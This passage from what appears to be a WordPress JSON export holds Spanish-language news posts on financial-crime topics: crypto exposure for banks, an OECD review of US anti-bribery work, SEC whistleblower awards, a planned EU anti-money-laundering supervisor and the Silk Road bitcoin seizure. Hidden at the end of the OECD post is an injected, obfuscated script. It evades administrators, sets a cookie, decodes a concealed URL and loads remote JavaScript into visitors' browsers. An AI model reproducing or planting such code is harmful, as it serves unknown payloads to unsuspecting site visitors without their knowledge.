est\u00e9n financiando desde sus cuentas bancarias.<\/p>\n\n\n\n<p>Para empezar, deben examinar el modelo comercial \u00fanico de cada intercambio, la calidad del programa de cumplimiento y la jurisdicci\u00f3n de operaci\u00f3n. Pero estos factores cualitativos no son suficientes por s\u00ed solos. Los bancos tambi\u00e9n deben evaluar la efectividad del cumplimiento de los intercambios midiendo su exposici\u00f3n a contrapartes riesgosas en otras partes del ecosistema de criptomonedas.<\/p>\n\n\n\n<p>Estas mediciones ser\u00edan la se\u00f1al m\u00e1s fuerte de si un banco debiera o no hacer comerciar con un negocio de criptomonedas, pero la mayor\u00eda de los bancos no pueden obtener estos datos por s\u00ed mismos, por lo general se pueden asociar con proveedores de datos confiables que tengan un conocimiento del ecosistema de criptomonedas.<\/p>\n\n\n\n<p>A medida que se sientan m\u00e1s c\u00f3modos con el espacio, los bancos tambi\u00e9n pueden trabajar para establecer relaciones con los equipos de cumplimiento en empresas de criptomonedas de renombre que sus clientes utilizan con m\u00e1s frecuencia y trabajar con ellos para resolver problemas juntos.<\/p>\n\n\n\n<p><strong><u>Los bancos deber\u00edan tener una ventaja en las criptomonedas<\/u><\/strong><\/p>\n\n\n\n<p>El tiempo es clave para los bancos, los comentarios de Blanco indican que los reguladores pronto esperar\u00e1n que puedan mostrar c\u00f3mo sus programas de cumplimiento ALD\/CFT abordan la actividad de las criptomonedas y cu\u00e1l es el nivel de riesgo relacionado con las criptomonedas. Los bancos har\u00edan bien en comenzar a recopilar esa informaci\u00f3n ahora, en lugar de esperar hasta que los reguladores la exijan.<\/p>\n\n\n\n<p>Si bien esto puede ser desalentador al principio, los departamentos de cumplimiento de los bancos eventualmente dominar\u00e1n las criptomonedas si toman estos pasos. Despu\u00e9s de eso, \u00bfqui\u00e9n sabe qu\u00e9 podr\u00eda pasar? Los bancos que actualmente no planean involucrarse en el espacio de criptomonedas pueden abrirse a la idea de la adopci\u00f3n institucional a medida que desarrollan e implementan procedimientos para mitigar el riesgo de las criptomonedas.<\/p>\n","post_title":"Los bancos necesitan comprender su exposici\u00f3n a las criptomonedas incluso si no toman custodia de estas","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"los-bancos-necesitan-comprender-su-exposicion-a-las-criptomonedas-incluso-si-no-toman-custodia-de-estas","to_ping":"","pinged":"","post_modified":"2020-11-24 16:21:23","post_modified_gmt":"2020-11-24 20:21:23","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25400","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25409,"post_author":"16","post_date":"2020-11-23 11:33:00","post_date_gmt":"2020-11-23 15:33:00","post_content":"\n<p>Estados Unidos contin\u00faa liderando en la lucha contra la corrupci\u00f3n transnacional, pero podr\u00eda mejorar sus esfuerzos extendiendo la protecci\u00f3n a m\u00e1s denunciantes y ofreciendo transparencia adicional en la resoluci\u00f3n de casos de soborno en el extranjero, se\u00f1al\u00f3 el Grupo de Trabajo sobre Soborno de la Organizaci\u00f3n para la Cooperaci\u00f3n y Desarrollo Econ\u00f3micos (OCDE).<\/p>\n\n\n\n<p>El grupo de trabajo, en <a href=\"http:\/\/www.oecd.org\/daf\/anti-bribery\/unitedstates-oecdanti-briberyconvention.htm\" data-type=\"URL\" data-id=\"http:\/\/www.oecd.org\/daf\/anti-bribery\/unitedstates-oecdanti-briberyconvention.htm\" target=\"_blank\" rel=\"noreferrer noopener\"><strong>un informe publicado la semana pasada<\/strong><\/a>, elogi\u00f3 a Estados Unidos por elevar el nivel de aplicaci\u00f3n de su Ley de Pr\u00e1cticas Corruptas en el Extranjero (FCPA) desde su \u00faltima evaluaci\u00f3n por parte del grupo en 2010.<\/p>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large is-resized\"><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/image-1.png\" alt=\"\" class=\"wp-image-25410\" width=\"376\" height=\"377\"\/><\/figure><\/div>\n\n\n\n<p>Tambi\u00e9n elogi\u00f3 el \u00e9xito del programa de denuncia en la Comisi\u00f3n de Bolsa y Valores (SEC) por ayudar a detectar posibles irregularidades.<\/p>\n\n\n\n<p>Estados Unidos ha presentado 156 casos bajo la FCPA o violaciones relacionadas, tales como contabilidad creativa y lavado de dinero, entre septiembre de 2010 y julio de 2019, dijo la OCDE. Esos casos dieron lugar a la condena o al castigo de 174 empresas y 115 personas durante el per\u00edodo, seg\u00fan el informe. En comparaci\u00f3n con las 88 empresas y 71 personas registradas en la evaluaci\u00f3n anterior, que tuvo en cuenta el per\u00edodo entre 2002 y 2010.<\/p>\n\n\n\n<p>La FCPA proh\u00edbe que las empresas y las personas estadounidenses paguen sobornos a funcionarios de gobiernos extranjeros para obtener negocios.<\/p>\n\n\n\n<p>El informe, que refleja los hallazgos de expertos de Argentina y el Reino Unido, es parte de la cuarta fase de una revisi\u00f3n continua por pares del grupo de trabajo de la OCDE, que monitorea y eval\u00faa la implementaci\u00f3n y cumplimiento de la Convenci\u00f3n Antisoborno de la OCDE por parte de 44 pa\u00edses miembros. La cuarta fase se centra en el cumplimiento, la detecci\u00f3n y la responsabilidad empresarial, y eval\u00faa las necesidades de cada pa\u00eds y c\u00f3mo ha implementado las recomendaciones de la evaluaci\u00f3n anterior.<\/p>\n\n\n\n<p>Se solicita a los pa\u00edses miembros, incluido EE. UU., que env\u00eden un seguimiento por escrito a los pocos a\u00f1os del informe de evaluaci\u00f3n para explicar c\u00f3mo implementaron las recomendaciones de la OCDE.<\/p>\n\n\n\n<p>La OCDE agreg\u00f3 que los programas de denuncia en Estados Unidos han desempe\u00f1ado un papel fundamental en la detecci\u00f3n de presuntos sobornos extranjeros.<\/p>\n\n\n\n<p>El Departamento de Justicia de EE.UU. y la SEC mantienen l\u00edneas directas p\u00fablicas para recibir sugerencias an\u00f3nimas. El programa de denuncia de irregularidades de la SEC, creado por la Ley Dodd-Frank de 2010, tambi\u00e9n cre\u00f3 incentivos financieros y protecci\u00f3n contra las represalias para que los informantes que reporte presuntas infracciones relacionadas con la FCPA.<\/p>\n\n\n\n<p>El programa de denunciantes de la SEC, que comenz\u00f3 a funcionar en 2011, estableci\u00f3 nuevos r\u00e9cords en el a\u00f1o fiscal 2020 que finaliz\u00f3 el 30 de septiembre, otorgando m\u00e1s dinero a m\u00e1s informantes que en cualquier otro a\u00f1o de la historia del programa.<\/p>\n\n\n\n<p>La OCDE recomend\u00f3 en el informe que EE.UU. fortalezca y extienda la protecci\u00f3n contra las represalias a todos los informantes del sector privado que puedan plantear acusaciones relacionadas con la FCPA, incluidos aquellos que denuncian presunta corrupci\u00f3n por parte de empresas que no emiten valores o aquellos que solo informan al Departamento de Justicia.<\/p>\n\n\n\n<p>La OCDE tambi\u00e9n recomend\u00f3 que las agencias de ley de EE.UU. brinden m\u00e1s transparencia en las resoluciones de algunos casos de la FCPA, como facilitar al p\u00fablico la obtenci\u00f3n de informaci\u00f3n sobre la extensi\u00f3n o finalizaci\u00f3n de los acuerdos de no enjuiciamiento (<em>nonprosecution agreements<\/em>) y los acuerdos de enjuiciamiento diferido (<em>deferred prosecution agreements<\/em>) con empresas en los casos de la FCPA. Tambi\u00e9n recomend\u00f3 que EE.UU. contin\u00fae abordando la reincidencia mediante sanciones apropiadas.<\/p>\n\n\n\n<p>El informe que alaba los esfuerzos de Estados Unidos para hacer cumplir la ley no fue una sorpresa para la comunidad anticorrupci\u00f3n, dijeron los observadores. Pero el informe, de 180 p\u00e1ginas, describi\u00f3 varias de las mejores pr\u00e1cticas del gobierno de EE.UU. que podr\u00edan ser \u00fatiles para otros pa\u00edses o regiones que buscan ser m\u00e1s efectivos en su lucha contra el soborno extranjero.<\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"Un grupo de trabajo de la OCDE elogia los esfuerzos de EE.UU. contra el soborno en el extranjero","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"un-grupo-de-trabajo-de-la-ocde-elogia-los-esfuerzos-de-ee-uu-contra-el-soborno-en-el-extranjero","to_ping":"","pinged":"","post_modified":"2025-10-24 17:04:10","post_modified_gmt":"2025-10-24 21:04:10","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25409","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25406,"post_author":"16","post_date":"2020-11-23 11:32:00","post_date_gmt":"2020-11-23 15:32:00","post_content":"\n<figure class=\"wp-block-embed-youtube wp-block-embed is-type-video is-provider-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio\"><div class=\"wp-block-embed__wrapper\">\nhttps:\/\/youtu.be\/wgbCobolWgA\n<\/div><\/figure>\n\n\n\n<p>El programa de denunciantes de la Comisi\u00f3n de Bolsa y Valores de EE. UU. (SEC por sus siglas en ingl\u00e9s) estableci\u00f3 un nuevo r\u00e9cord anual otorgando m\u00e1s dinero a m\u00e1s informantes en el a\u00f1o fiscal 2020 que en cualquier otro a\u00f1o de la historia del programa. La oficina pag\u00f3 alrededor de US$ 175 millones en recompensas a 39 informantes en el a\u00f1o fiscal que finaliz\u00f3 en septiembre y recibi\u00f3 una cantidad r\u00e9cord, alrededor de 6.900 de denuncias.<\/p>\n\n\n\n<p>El volumen sigue a los esfuerzos del regulador para acelerar los pagos a los denunciantes despu\u00e9s de a\u00f1os de quejas de que el programa es lento para repartir las recompensas.<\/p>\n\n\n\n<p>\"Estamos enviando el mensaje a la gente que, si nos brinda informaci\u00f3n de alta calidad, investigaremos y emprenderemos acciones con vigor, y luego le daremos una recompensa al denunciante de inmediato\", se\u00f1al\u00f3 el presidente de la SEC Jay Clayton en una reciente entrevista, la semana pasada anunci\u00f3 que planea dimitir a finales de este a\u00f1o.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/image.png\" alt=\"\" class=\"wp-image-25407\"\/><\/figure>\n\n\n\n<p>La Oficina del Denunciante de la SEC emiti\u00f3 alrededor de US$ 175 millones en recompensa a 39 personas en el a\u00f1o fiscal que finaliz\u00f3 el 30 de septiembre, seg\u00fan el informe anual de la oficina al Congreso. El monto total en d\u00f3lares fue 4% m\u00e1s alto que el r\u00e9cord anterior, alrededor de US$ 168 millones en el a\u00f1o fiscal 2018, y casi tres veces el total emitido en el a\u00f1o fiscal 2019, cuando se distribuyeron US$ 60 millones entre ocho personas.<\/p>\n\n\n\n<p>En este \u00faltimo a\u00f1o fiscal, la oficina del denunciante tambi\u00e9n emiti\u00f3 un r\u00e9cord de 315 determinaciones preliminares de reclamos de adjudicaci\u00f3n que detallan si el reclamo de un informante debe aprobarse o denegarse, que es un 96% m\u00e1s que el r\u00e9cord anterior, establecido en 2014, cuando la mayor\u00eda de las \u00f3rdenes preliminares fueron denegaciones emitidas a un reclamante, seg\u00fan el informe.<\/p>\n\n\n\n<p>La SEC comenz\u00f3 a revisar su proceso de evaluaci\u00f3n de reclamos con el objetivo de hacerlo m\u00e1s eficiente hace aproximadamente un a\u00f1o y medio cuando la agencia reguladora propuso cambios a las reglas del programa de denuncia de irregularidades, seg\u00fan Clayton.<\/p>\n\n\n\n<p>Las enmiendas a las reglas del programa de denunciantes, aprobadas en septiembre y dise\u00f1adas para hacer que el proceso de adjudicaci\u00f3n sea m\u00e1s eficiente, entrar\u00e1n en vigencia el pr\u00f3ximo mes.<\/p>\n\n\n\n<p>El regulador ha sumado personal al programa y ha utilizado recursos de toda la divisi\u00f3n de cumplimiento de la SEC, se\u00f1al\u00f3 Stephanie Avakian, directora de la divisi\u00f3n, que supervisa el programa de denuncia. La oficina ahora tiene 13 abogados, m\u00e1s tres temporales, y un personal de apoyo que incluye un contador, asistentes legales, analistas y secretarios legales, seg\u00fan el informe. En comparaci\u00f3n con los ocho abogados, tres asistentes legales y un especialista de apoyo en 2012.<\/p>\n\n\n\n<p>\u201cEl programa, como todo lo dem\u00e1s, debe adaptarse con el tiempo\u201d, dijo Avakian. \"Realmente ha pagado dividendos masivos, y espero que esos dividendos solo aumenten con el tiempo\".<\/p>\n\n\n\n<p>Los abogados que representan a los denunciantes han atribuido el aumento en parte a la pandemia, se\u00f1alando el hecho de que muchos presuntos denunciantes trabajan desde la privacidad de su hogar, fuera de la vista de colegas y gerentes curiosos y, por lo tanto, est\u00e1n m\u00e1s seguros de ser expuestos como denunciantes.<\/p>\n\n\n\n<p>\"Probablemente ha habido un aumento considerable de cuestiones para quejarse a la luz de Covid\", dijo Avakian y se\u00f1al\u00f3 que no pueden estar seguros sobre qu\u00e9 contribuy\u00f3 precisamente al aumento y agreg\u00f3 que podr\u00eda haber m\u00faltiples razones.<\/p>\n\n\n\n<p>Seg\u00fan el programa, que fue promulgado como parte de la Ley Dodd-Frank de 2010, un denunciante puede recibir una indemnizaci\u00f3n por un total de entre el 10% y el 30% de las multas impuestas en las acciones de ejecuci\u00f3n civil de la SEC que resultan de su denuncia, asumiendo que las multas suman m\u00e1s de US$ 1 millones. La SEC ha otorgado recompensas por alrededor de US$ 720 millones a 113 personas desde que comenz\u00f3 el programa.<\/p>\n","post_title":"El programa de denuncia de irregularidades de la SEC establece nuevos r\u00e9cords en 2020","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"el-programa-de-denuncia-de-irregularidades-de-la-sec-establece-nuevos-records-en-2020","to_ping":"","pinged":"","post_modified":"2020-11-24 11:33:32","post_modified_gmt":"2020-11-24 15:33:32","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25406","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25351,"post_author":"16","post_date":"2020-11-16 18:10:31","post_date_gmt":"2020-11-16 22:10:31","post_content":"<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The European Union, after the approval of the member states, will advance in the creation of a financial crime compliance sentinel for the entire bloc that will directly supervise the regulators and financial institutions of the countries.\u00a0<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The agreement in the EU Council will lay the groundwork for more formal legal edicts that are expected to come into effect early next year.<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The deal will be a widely watched initiative by global watchdog groups and associated world powers in the wake of the shameful banking scandals in the Baltic and Nordic countries.<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The Council of Europe also \"supports the creation of an EU-level supervisor with direct supervisory powers over a number of high-risk reporting entities, as well as the authority to assume supervision from a national supervisor in exceptional and clearly defined situations. \", according to the ministers, in a drastic measure.<\/span><\/span><\/b>\n\n<iframe src=\"https:\/\/www.youtube.com\/embed\/Wlb9y8qbXOI\" width=\"560\" height=\"315\" frameborder=\"0\" allowfullscreen=\"allowfullscreen\"><\/iframe>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The European Union, after the approval of the member states, will advance in the creation of a financial crime compliance sentinel for the entire bloc that will directly supervise the regulators and financial institutions of the countries<\/span><\/span><\/b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\"> , with the power to participate in direct reviews. , request information and impose pecuniary penalties.<\/span><\/span>\n\n<span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The\u00a0 <\/span><\/span><a href=\"https:\/\/www.consilium.europa.eu\/en\/meetings\/ecofin\/2020\/11\/04\/\" target=\"_blank\" rel=\"noopener noreferrer\"><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">agreement\u00a0<\/span><\/span><\/a><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\"> in the EU Council will lay the groundwork for more formal legal edicts expected to come into force early next year, an initiative widely watched by global watchdog groups and associated world powers in the wake of the embarrassing banking scandals. The Baltic and Nordic countries (with the laundering of an estimated billions of dollars linked to high-risk regions such as Russia) will destroy the perception that the EU has a strong AML \/ CFT structure.<\/span><\/span>\n\nEl Consejo de Europa tambi\u00e9n \"apoya la creaci\u00f3n de un supervisor a nivel de la UE con poderes de supervisi\u00f3n directa sobre un n\u00famero de entidades obligadas de alto riesgo, as\u00ed como la autoridad para asumir la supervisi\u00f3n de un supervisor nacional en situaciones excepcionales y claramente definidas\", seg\u00fan los ministros, en una medida dr\u00e1stica.\n\nEl impulso para hacer cambios en todas estas \u00e1reas es claramente una respuesta al esc\u00e1ndalo del Danske Bank, que contin\u00faa haciendo ruido.\n\nEl esc\u00e1ndalo ha hecho que el mayor prestamista de Dinamarca se enfrente a una pl\u00e9tora de sondeos, investigaciones, acusaciones y recriminaciones en varios pa\u00edses por el monitoreo, reporte y manejo de unos 200.000 millones de euros, o m\u00e1s de US$224.000 millones, en transacciones potencialmente sospechosas vinculadas a Rusia entre 2007 y 2015.\n\nEl esc\u00e1ndalo ha puesto en la calle a algunos de los principales l\u00edderes bancarios en Dinamarca y Suecia, ha puesto en la encrucijada a Deutsche Bank e incluso ha puesto a los reguladores en las regiones bajo la mira, incluso cuando estos reguladores y sus agencias regulatorias trabajan para imponer sanciones a las instituciones involucradas. Pero las debilidades en la UE que permitieron tales esc\u00e1ndalos podr\u00edan estar recibiendo la atenci\u00f3n que merecen.\n\n\"La lucha contra el lavado de dinero y el financiamiento del terrorismo es una de las principales prioridades de la presidencia alemana\", dijo Olaf Scholz, ministro federal de Finanzas y vicecanciller de Alemania, en un comunicado.\n\n\"Los recientes supuestos casos de lavado de dinero, incluso en la UE, subrayan la urgencia de actuar\", dijo. \u201cUnas normas m\u00e1s armonizadas y una supervisi\u00f3n a nivel de la UE nos permitir\u00e1n ser m\u00e1s eficaces y fortalecer el marco de lucha contra el lavado de la UE. Es una se\u00f1al importante de que todos estamos unidos por las estrictas medidas contra el lavado de dinero\".\n\n<b><u>Para una nueva autoridad ALD\/CFT de la UE, m\u00e1s poder, comunicaci\u00f3n y coordinaci\u00f3n<\/u><\/b>\n\nLa misiva del Consejo pide a la Comisi\u00f3n de la UE que d\u00e9 prioridad al trabajo en la creaci\u00f3n de un \"c\u00f3digo normativo \u00fanico\" para la supervisi\u00f3n ALD\/CFT que abarque los pa\u00edses y, con las expectativas establecidas, el establecimiento de un organismo de supervisi\u00f3n ALD\/CFT a nivel de la UE que se entrelazar\u00eda y trabajar\u00eda con las unidades de inteligencia (UIF).\n\nLa comisi\u00f3n tambi\u00e9n debe \u201cgarantizar que el supervisor ALD\/CFT de la UE, como nueva autoridad competente, est\u00e9 completamente integrado en las estructuras de cooperaci\u00f3n entre todas las instituciones relevantes a nivel nacional y de la UE, tales como las autoridades nacionales competentes, las UIF y los mecanismos de coordinaci\u00f3n y apoyo\u201d, seg\u00fan el consejo.\n\nAl mismo tiempo, el nuevo supervisor ALD\/CFT debe estar en coordinaci\u00f3n y comunicaci\u00f3n con \"las autoridades de ley, otras autoridades p\u00fablicas relevantes en la UE, as\u00ed como con las instituciones de la UE, incluido el Banco Central Europeo (BCE) como supervisor prudencial en los casos pertinentes y otras autoridades y agencias como las Autoridades Europeas de Supervisi\u00f3n (AES), la Fiscal\u00eda Europea (EPPO) y Europol\".\n\nLa naciente autoridad tambi\u00e9n podr\u00eda encontrarse en medio de un tira y afloja a nivel pa\u00edses.\n\n\"En particular con respecto al flujo de informaci\u00f3n entre las autoridades de supervisi\u00f3n de origen y de destino, el supervisor de la UE debe desempe\u00f1ar un papel de mediador en los conflictos\", seg\u00fan el consejo.\n\n<b><u>Un gran poder ALD\/CFT conlleva una gran responsabilidad: imponer sanciones<\/u><\/b>\n\nEl organismo a\u00fan en formaci\u00f3n tendr\u00e1 amplios poderes a nivel de bloque y pa\u00eds.\n\nLas responsabilidades del supervisor ALD\/CFT de la UE deben \"incluir el derecho a inspecciones generales, incluida la solicitud de informaci\u00f3n, el examen de registros y la realizaci\u00f3n de supervisi\u00f3n en el sitio y extra situ, as\u00ed como el derecho a imponer medidas de supervisi\u00f3n y sanciones administrativas\", seg\u00fan al consejo.\n\nEstos incluir\u00edan el examen de grandes grupos bancarios, los que operan en varios estados miembros, para encontrar lagunas y fallas percibidas e incluso la autoridad para \"obligar la designaci\u00f3n de un oficial de cumplimiento, exigir informes regulares y emitir instrucciones directas con respecto a la debida diligencia mejorada o transacciones de alto riesgo.\"\n\nUna vez establecida, la nueva autoridad podr\u00eda actuar m\u00e1s r\u00e1pidamente para presionar cambios\u2014a nivel de pa\u00eds o con incursiones guiadas con precisi\u00f3n en instituciones individuales\u2014 lo que ser\u00eda una mejora con respecto al proceso lento y de m\u00faltiples pasos para fomentar el cumplimiento utilizado actualmente.\n\nPor ejemplo, cuando se trata de pa\u00edses que se demoran en adoptar la Quinta Directiva de la UE contra el lavado de dinero (AMLD5) en la legislaci\u00f3n nacional, la comisi\u00f3n debe primero revisar un pa\u00eds, luego enviar un dictamen, luego remitir el asunto al Tribunal de Justicia de la UE y luego finalmente puede comenzar a imponer sanciones monetarias por incumplimiento.\n\nEn febrero, justo en el momento en que la pandemia de COVID-19 comenz\u00f3 a aflorar, la Comisi\u00f3n Europea envi\u00f3 cartas de notificaci\u00f3n formal a Chipre, Hungr\u00eda, los Pa\u00edses Bajos, Portugal, Rumania, Eslovaquia, Eslovenia y Espa\u00f1a por no haber notificado ninguna medida de implementaci\u00f3n para la nueva directiva.\n\n<b><u>Incluso mientras la pandemia contin\u00faa, las autoridades no permitir\u00e1n que los pa\u00edses la usen como excusa en materia de ALD\/CFT<\/u><\/b>\n\nLos funcionarios tampoco est\u00e1n dejando que los pa\u00edses se salgan del apuro debido a la pandemia.\n\n\u201cLa lucha contra el lavado de dinero es tan relevante ahora como antes de la pandemia de coronavirus\u201d, afirm\u00f3 la comisi\u00f3n. \"De hecho, los delitos relacionados con el coronavirus y el lavado de sus ganancias van en aumento, seg\u00fan Europol y las autoridades policiales nacionales\".\n\nAsegurar la transposici\u00f3n correcta y oportuna de las normas ALD\/CFT existentes es una de las acciones previstas por la Comisi\u00f3n en su Plan de Acci\u00f3n de seis puntos publicado en mayo.\n\nEso podr\u00eda ser un desaf\u00edo con m\u00e1s presi\u00f3n proveniente del supervisor ALD\/CFT de la UE, una fecha l\u00edmite inminente para algunos, pero un cambio bienvenido por otros.\n\n\"Estoy encantado de que los ministros de finanzas hayan adoptado conclusiones sobre el Plan de Acci\u00f3n contra el Lavado de Dinero de la Comisi\u00f3n de mayo de 2020\", dijo el vicepresidente ejecutivo de la Comisi\u00f3n de la UE, Valdis Dombrovskis, y agreg\u00f3 que el esfuerzo ser\u00e1 una \"base ambiciosa para preparar un paquete de propuestas legales ALD\/CFT en el primer trimestre de 2021\".\n\n\u201cEl lavado de dinero erosiona la confianza en nuestros bancos e instituciones financieras, en nuestras autoridades y gobiernos\u201d, dijo. \u201cEl dinero sucio es altamente m\u00f3vil y esto hace que sea un desaf\u00edo complejo de manejar. Es por eso que debemos abordar este problema de manera coherente a nivel de la UE y estamos decididos a hacerlo\".","post_title":"La UE crear\u00e1 un nuevo regulador ALD\/CFT para todo el bloque con autoridad para revisar y sancionar a las instituciones","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"la-ue-creara-un-nuevo-regulador-ald-cft-para-todo-el-bloque-con-autoridad-para-revisar-y-sancionar-a-las-instituciones","to_ping":"","pinged":"","post_modified":"2020-11-17 19:26:59","post_modified_gmt":"2020-11-17 23:26:59","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25351","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25324,"post_author":"16","post_date":"2020-11-10 12:14:36","post_date_gmt":"2020-11-10 16:14:36","post_content":"https:\/\/youtu.be\/bHmZmpSdSjQ\n\n\u201cSilk Road era el mercado criminal en l\u00ednea m\u00e1s notorio de su \u00e9poca\u201d, dijo el fiscal federal de EE.UU. David L. Anderson. \u201cEl enjuiciamiento exitoso del fundador de Silk Road en 2015 dej\u00f3 abierta una pregunta de mil millones de d\u00f3lares. \u00bfA d\u00f3nde fue el dinero? La denuncia de decomiso de la semana pasada responde a esta pregunta abierta al menos en parte. Mil millones de d\u00f3lares de estos ingresos delictivos est\u00e1n ahora en posesi\u00f3n de los Estados Unidos\".\n\n<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia.png 1266w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n\u201cSilk Road era el mercado criminal en l\u00ednea m\u00e1s notorio de su \u00e9poca\u201d, dijo el fiscal federal de EE.UU. David L. Anderson. \u201cEl enjuiciamiento exitoso del fundador de Silk Road en 2015 dej\u00f3 abierta una pregunta de mil millones de d\u00f3lares. \u00bfA d\u00f3nde fue el dinero? La denuncia de decomiso de la semana pasada responde a esta pregunta abierta al menos en parte. Mil millones de d\u00f3lares de estos ingresos delictivos est\u00e1n ahora en posesi\u00f3n de los Estados Unidos\".\n\nLa semana pasada, el Departamento de Justicia de EE.UU. present\u00f3 una demanda de decomiso civil contra la incautaci\u00f3n m\u00e1s grande de activos digitales por un valor total de m\u00e1s de US$1.000 millones. Los agentes de ley utilizaron herramientas y asistencia de la firma Chainalysis en la investigaci\u00f3n para identificar las billeteras de criptomonedas m\u00e1s grandes con conexiones a Silk Road, el primer mercado moderno de la dark web, lo que les permiti\u00f3 generar pistas a partir de la evidencia en la cadena de bloques. Este Bitcoin se transfiri\u00f3 sin problemas a una billetera controlada por el gobierno que, si se descomisa, se mover\u00e1 al Fondo de Confiscaci\u00f3n del Tesoro (TFF). El TFF financia programas innovadores de aplicaci\u00f3n de la ley, como herramientas de an\u00e1lisis de blockchain y capacitaci\u00f3n, que ayudar\u00e1n a los agentes a identificar y apoderarse de m\u00e1s fondos il\u00edcitos. A principios de este a\u00f1o, las agencias de aplicaci\u00f3n de la ley presentaron acciones de decomiso civil similares contra criptoactivos relacionados con el financiamiento del terrorismo y las actividades de pirater\u00eda de Corea del Norte.\n\n<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1.png 1280w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n\u201cEl producto del delito no debe quedar en manos de los delincuentes. Gracias a la experiencia de la divisi\u00f3n de Investigaci\u00f3n Criminal de la Agencia de Rentas de EE.UU. (IRS-CI) en el seguimiento del dinero, pudimos rastrear los fondos il\u00edcitos\u201d, dijo Kelly R. Jackson, agente especial a cargo del IRS-CI. \"La Unidad de Delitos Cibern\u00e9ticos de Washington DC est\u00e1 especialmente especializada en rastrear transacciones de moneda virtual y continuaremos perfeccionando nuestras habilidades para combatir la actividad 